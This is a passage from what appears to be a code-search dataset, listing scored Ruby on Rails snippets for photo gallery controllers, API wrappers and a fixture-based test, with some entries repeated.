@picture = @gallery.pictures.build\n @pictures = Picture.find(:all, :conditions => [ 'gallery_id = ?', @gallery.id ])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "11c21ba7d7f658592ce21b3065fddb68", "score": "0.7057879", "text": "def new\r\n \r\n @gallery = @wedding.galleries.build\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @gallery }\r\n end\r\n end", "title": "" }, { "docid": "a45ede0753c00acd46668b5013602b19", "score": "0.70512044", "text": "def index\n @gallery = Gallery.find(params[:gallery_id])\n @photos = @gallery.photos\n\n render json: ActiveModel::ArraySerializer.new(@photos, each_serializer: PhotoSerializer).to_json\n\n end", "title": "" }, { "docid": "c9b705071d8fb4fd03da7463cb0af981", "score": "0.70426136", "text": "def list_meta_for_gallery name\n API::request(:get, \"meta/gallery/#{name}/\")\n end", "title": "" }, { "docid": "e4b86c9fd1d76958cf15bec1db35efcd", "score": "0.70129716", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "e4b86c9fd1d76958cf15bec1db35efcd", "score": "0.70129716", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "e4b86c9fd1d76958cf15bec1db35efcd", "score": "0.70129716", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "e4b86c9fd1d76958cf15bec1db35efcd", "score": "0.70129716", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "52c19d73eb6ac72560bf40ac90ed2969", "score": "0.69979626", "text": "def new\n @gallery = @user.gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "7cda9b53508660b68bb02a5a527a2f8a", "score": "0.6992793", "text": "def index\n @photos = @gallery.photos\n end", "title": "" }, { "docid": "7cda9b53508660b68bb02a5a527a2f8a", "score": "0.6992793", "text": "def index\n @photos = @gallery.photos\n end", "title": "" }, { "docid": "649d15cdcb9f791eb0fc1da5ed00d5c2", "score": "0.69760287", "text": "def list(opts=[])\n _params = {:opts => opts}\n return @master.call 'gallery/list', _params\n end", "title": "" }, { "docid": "de9b7dde24e310bf23207cadc31a4725", "score": "0.6973717", "text": "def show\n @work_gallery = WorkGallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work_gallery }\n end\n end", "title": "" }, { "docid": "234dc2d1bc5338c18ab52be7fa90aaae", "score": "0.6970226", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "81fee2ba6614c9079df8254ce855f80a", "score": "0.6956464", "text": "def show\n @photo_galeries = PhotoGalery.find( params[:id] )\n respond_to do |format|\n format.json { render json: @photo_galeries, status:200 }\n end\n end", "title": "" }, { "docid": "79012b4edd4b1c82668d68e1053b5e2a", "score": "0.69489664", "text": "def find_all\n rsp = @fotolia.remote_call('getGalleries', @fotolia.language.id)\n\n rsp.collect{|g| Fotolia::Gallery.new(@fotolia, g)}\n end", "title": "" }, { "docid": "d6817eabbcd5af552f0d10ec635965ba", "score": "0.69396126", "text": "def index\n # authorize\n authorize! :read, Gallery\n \n @galleries = Gallery.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 10)\n end", "title": "" }, { "docid": "42701efea4ea9b1dc5c7bb3ca7d8c0bd", "score": "0.69383246", "text": "def index\n @galleries = @event.galleries.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @galleries }\n end\n end", "title": "" }, { "docid": "04396ef46cb3d5d419aaaeb8ad31d063", "score": "0.6935934", "text": "def show\n render json: @web_car_gallery\n end", "title": "" }, { "docid": "fd78656592ed0ae41dc6a77ee998c0c1", "score": "0.6926319", "text": "def index\n unless current_user.try(:admin?)\n redirect_to \"/\"\n end\n @page = \"pieces\"\n @galleries = Gallery.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end", "title": "" }, { "docid": "75742fdb8a6cb21a24d96c6cea3fb521", "score": "0.6922497", "text": "def show\n @spree_gallery = Spree::Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @spree_gallery }\n end\n end", "title": "" }, { "docid": "2fa307865556f17b226243c2e9e50c12", "score": "0.6898445", "text": "def index\n @pictures = @gallery.pictures\n end", "title": "" }, { "docid": "ddb7459ae9fd352e117e44a4933c61cb", "score": "0.6897846", "text": "def show\n @groom_gallery = GroomGallery.find(params[:id])\n @groom_picture = @groom_gallery.groom_pictures.build\n @groom_pictures = GroomPicture.find(:all, :conditions => [ 'groom_gallery_id = ?', @groom_gallery.id ])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @groom_gallery }\n end\n end", "title": "" }, { "docid": "512d95f865e39b26678500e4af0dfdd0", "score": "0.6894841", "text": "def show\n @gallery_image = GalleryImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery_image }\n end\n end", "title": "" }, { "docid": "4606bfbc1c039d6607dc7add24e80cc5", "score": "0.6874893", "text": "def show\n unless current_user.try(:admin?)\n redirect_to \"/\"\n end\n @page = \"pieces\"\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "b8b03c2ebfbf9d023292d892ac8f9fbd", "score": "0.68706626", "text": "def show\n\t@galleries = Gallery.where(\"g_folder_id = ?\", @gallery_folder)\n end", "title": "" }, { "docid": "375029af53dc7caf71be638cac120e66", "score": "0.6847582", "text": "def show\n @dibgallery = Dibgallery.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dibgallery }\n end\n end", "title": "" }, { "docid": "2ad857673b102da3aa4bcd5faaebcf56", "score": "0.6828041", "text": "def show\n @gallery = @event.galleries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gallery }\n end\n end", "title": "" }, { "docid": "1affd39ea7f527e18ad490309b0c7007", "score": "0.681575", "text": "def test_galleries\n stub_http_with_fixture(\"galleries.json\")\n galleries = @client.galleries\n assert_equal Array, galleries.class\n assert_equal 3, galleries.count\n galleries.each do |g|\n assert_equal FinerWorks::Gallery, g.class\n end\n stub_http_with_fixture(\"gallery.json\")\n one_gallery = @client.galleries\n assert_equal Array, one_gallery.class\n assert_equal 1, one_gallery.count\n assert_equal FinerWorks::Gallery, one_gallery.first.class\n end", "title": "" }, { "docid": "2887b5fd0753646bed1cef88dccbc87f", "score": "0.6809057", "text": "def index\n @galleries = Gallery.all\n render :layout => 'application'\n end", "title": "" }, { "docid": "e6a58e95ea9216f7c989513134896b3b", "score": "0.6807702", "text": "def index\n @flashlight_galleries = FlashlightGallery.all\n end", "title": "" }, { "docid": "110eb93f346424ffc8c4ef132fedaa17", "score": "0.6800302", "text": "def new\n @photo = @gallery.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "acd6d458afa829de96b41552eaf7df3f", "score": "0.6798579", "text": "def index\n @art_galleries = ArtGallery.all\n end", "title": "" }, { "docid": "0216564a74ff3276d1ccd987b15774ed", "score": "0.6786625", "text": "def index\n @image_galleries = ImageGallery.all\n end", "title": "" }, { "docid": "ee01d6f9b659621f449cdc0034187f60", "score": "0.6773222", "text": "def new\n @photo_gallery = PhotoGallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo_gallery }\n end\n end", "title": "" }, { "docid": "ee01d6f9b659621f449cdc0034187f60", "score": "0.6773222", "text": "def new\n @photo_gallery = PhotoGallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo_gallery }\n end\n end", "title": "" }, { "docid": "eb354dbde8216e6d7d5d7c52d57bdb63", "score": "0.6769788", "text": "def get_galleries\n @retval = Hash.new()\n if !params[:subchapter_id].blank? #&& !params[:offset].blank?\n @galleries = MobileGallery.find(:all,\n :conditions=>{:subchapter_id=>params[:subchapter_id],:status=>'active'},\n :select=>\"v_desc as gallery_description,id as gallery_id,v_gallery_name as gallery_name,CONCAT(img_url,'/user_content/photos/icon_thumbnails/',v_gallery_image) as gallery_image,e_gallery_type as gallery_type,DATE_FORMAT(d_gallery_date,'%c/%e/%Y %T') as created_date,auto_share\")\n @retval['count'] = @galleries.length\n @retval['body'] = @galleries\n @retval['status'] = true\n else\n @retval['message'] = 'Incomplete details provided!'\n @retval['status'] = false\n end\n @retval['updated_time'] = Time.now.strftime('%Y-%m-%d %H:%M:%S')\n render :text => @retval.to_json\n end", "title": "" }, { "docid": "1cf50820cca015c07cd222bc33923ae7", "score": "0.67689383", "text": "def index\n @galleries = Photo.all\n @photos = Photo.all\n @gallery = Gallery.new\n end", "title": "" }, { "docid": "4988fa93b6b623261e02633a52c59603", "score": "0.67645365", "text": "def gallery_view(options={})\n post_to_api(Kairos::Configuration::GALLERY_VIEW, options)\n end", "title": "" }, { "docid": "56031a426a4b877bfa679a320bfd2518", "score": "0.6746761", "text": "def index\n @planter_galleries = PlanterGallery.all\n end", "title": "" }, { "docid": "5f48f4ddc7c083072ea79921bc2ca26a", "score": "0.6746351", "text": "def index\n unless params['gallery_type'].blank?\n @gallery_images = current_user.user_galleries.where(gallery_type: params['gallery_type'], channel_id: @selected_channel.id).first_or_create.gallery_images\n else\n @gallery_images = @user_gallery.gallery_images\n end\n respond_to do |format|\n format.json { render :json => @gallery_images }\n end\n end", "title": "" }, { "docid": "58d55b033fa4b5245473091e8af9e743", "score": "0.67444605", "text": "def index\n @albums = @gallery.albums.all\n\n store_location\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @albums }\n end\n end", "title": "" }, { "docid": "422f7f80fdcd747ae6e906e56299c7c5", "score": "0.6742435", "text": "def index\n @campaign_gallery_items = CampaignGalleryItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @campaign_gallery_items }\n end\n end", "title": "" }, { "docid": "6e7c7ac7e1e92a4aa2af8707c24532ba", "score": "0.6742331", "text": "def build_galleries\n collect_galleries\n\n albums = Album.all\n\n albums.each do |album|\n build_gallery album.path\n end\n end", "title": "" }, { "docid": "8305bf4d0d664ed4edba747223e37146", "score": "0.67359006", "text": "def new\n @photo_gallery = PhotoGallery.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo_gallery }\n end\n end", "title": "" }, { "docid": "19d0e15657d9d6fc33a1fde2ba4a1b9d", "score": "0.67348003", "text": "def index\n @galleries = Gallery.all\n @toolbar_elements << {:hicon => 'icon-plus', :text => I18n.t('fotos.new-gallery'), :path => new_gallery_path } if can? :new, Gallery\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end", "title": "" }, { "docid": "46d43a7c8c471e4b46dc0be9a3a2ab99", "score": "0.671915", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workshop.pictures }\n end\n end", "title": "" }, { "docid": "269570ad1a3a080cb6cc743741f2566b", "score": "0.6707219", "text": "def show\n @galery = Galery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @galery }\n end\n end", "title": "" }, { "docid": "588c3347ee18107effbebf5783c1d709", "score": "0.66991735", "text": "def index\n @galleries = Gallery.order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @galleries }\n end\n end", "title": "" }, { "docid": "84a6b08b445dc568787fae9c527d6035", "score": "0.66807675", "text": "def gallery\n @levels = Level.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.js # index.html.erb\n format.xml { render :xml => @levels }\n end\n end", "title": "" }, { "docid": "ef858db772436b06551dbf60c4b01613", "score": "0.66748124", "text": "def index\n @gallery_items = GalleryItem.all\n end", "title": "" }, { "docid": "2c42ce75d581272e4a6744329e894e85", "score": "0.6667629", "text": "def collect_gallery\n\n @gallery ||= random_photos.collect do |photo|\n\n # FOR THE STATIC URL:\n farm_id = photo[\"farm\"]\n server_id = photo[\"server\"]\n photo_id = photo[\"id\"]\n secret = photo[\"secret\"]\n url = \"https://farm#{farm_id}.staticflickr.com/#{server_id}/#{photo_id}_#{secret}.jpg\"\n \n # CAPTION\n caption = photo[\"title\"]\n\n # FOR THE OWNER DEETS\n @owner_id = photo[\"owner\"]\n source = owner_json[\"person\"][\"profileurl\"][\"_content\"]\n\n # RETURN A HASH REPRESENTING THIS PHOTO\n\n {\n url: url,\n caption: caption,\n source: source,\n location_id: @location_id,\n image_type: \"gallery\"\n }\n\n end\n \n end", "title": "" } ]